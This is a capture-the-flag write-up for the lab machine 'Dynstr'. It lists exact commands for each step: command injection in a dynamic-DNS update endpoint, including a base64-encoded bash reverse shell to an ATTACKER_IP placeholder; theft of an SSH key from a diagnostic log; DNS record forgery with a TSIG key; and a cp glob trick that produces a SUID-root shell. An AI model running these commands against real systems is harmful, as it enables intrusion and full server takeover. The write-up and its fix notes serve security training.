Dynstr
Summary
I found a web-based dynamic-DNS service whose own home page advertised the API username and password in plain text. Using those credentials, I called the hostname-update endpoint, which fed the caller-supplied value directly into a server-side DNS management command without sanitisation, enabling command injection and a reverse shell as the Apache web user.
Inside the server, a developer's strace diagnostic log stored in a world-readable home directory contained an SSH private key for the bindmgr account, captured verbatim during a prior session. Although bindmgr's SSH configuration restricted logins to hosts resolving from *.infra.dyna.htb, the BIND TSIG zone-update key — readable by the web user — let me register their own IP address in that DNS zone and satisfy the check.
As bindmgr, a sudo rule permitted running a shell script that copied files using an unquoted filename glob. By placing a SUID-bit bash binary alongside a file literally named '--preserve=mode' in the working directory, I caused root's cp to produce a SUID-root bash copy in the destination directory, which was then executed for full root control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sV -p 22,53,80 $TARGETcurl -s http://$TARGET/FixRemove credentials from public-facing web contentHigh
Exact commands 2
nc -lvnp 9001B64=$(echo -n "curl http://$ATTACKER_IP:9001/probe" | base64 -w0) && curl -s -u 'dynadns:[REDACTED: recovered credential]' "http://$TARGET/nic/update?hostname=%60echo%20${B64}|base64%20-d|bash%60.dnsalias.htb&myip=$ATTACKER_IP"FixValidate and sanitise the hostname parameter before any shell or DNS useCritical
Exact commands 2
nc -lvnp 4444SHELL_B64=$(echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0) && curl -s -u 'dynadns:[REDACTED: recovered credential]' "http://$TARGET/nic/update?hostname=%60echo%20${SHELL_B64}|base64%20-d|bash%60.dnsalias.htb&myip=$ATTACKER_IP"Exact commands 3
ls /home/bindmgr/support-case-C62796521/grep -A 100 'BEGIN OPENSSH PRIVATE KEY' /home/bindmgr/support-case-C62796521/strace-testing.txt | head -60chmod 600 /tmp/bindmgr_id_rsaFixDelete diagnostic logs that captured SSH private key material and restrict log accessHigh
Exact commands 4
cat /etc/bind/infra.keyprintf "server 127.0.0.1\nzone infra.dyna.htb\nupdate add test.infra.dyna.htb 86400 A $ATTACKER_IP\nsend\n" | nsupdate -k /etc/bind/infra.keyprintf 'server 127.0.0.1\nzone REVERSE_ZONE.in-addr.arpa\nupdate add REVERSE_OCTET.in-addr.arpa. 86400 PTR test.infra.dyna.htb.\nsend\n' | nsupdate -k /etc/bind/infra.keydig @$TARGET test.infra.dyna.htb AFixRestrict the BIND TSIG zone-update key to the BIND daemon onlyHigh
Exact commands 2
ssh -i /tmp/bindmgr_id_rsa bindmgr@$TARGETcat ~/user.txtExact commands 6
sudo -lmkdir /tmp/exploit && cd /tmp/exploitecho '99' > .versioncp /bin/bash . && chmod +s bashtouch -- '--preserve=mode'sudo /usr/local/bin/bindmgr.shFixQuote all globs in shell scripts run under sudo and remove the NOPASSWD privilegeHigh
Exact commands 2
/etc/bind/named.bindmgr/bash -pid && cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 53/tcp | domain ISC BIND 9.16.1 (Ubuntu Linux) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |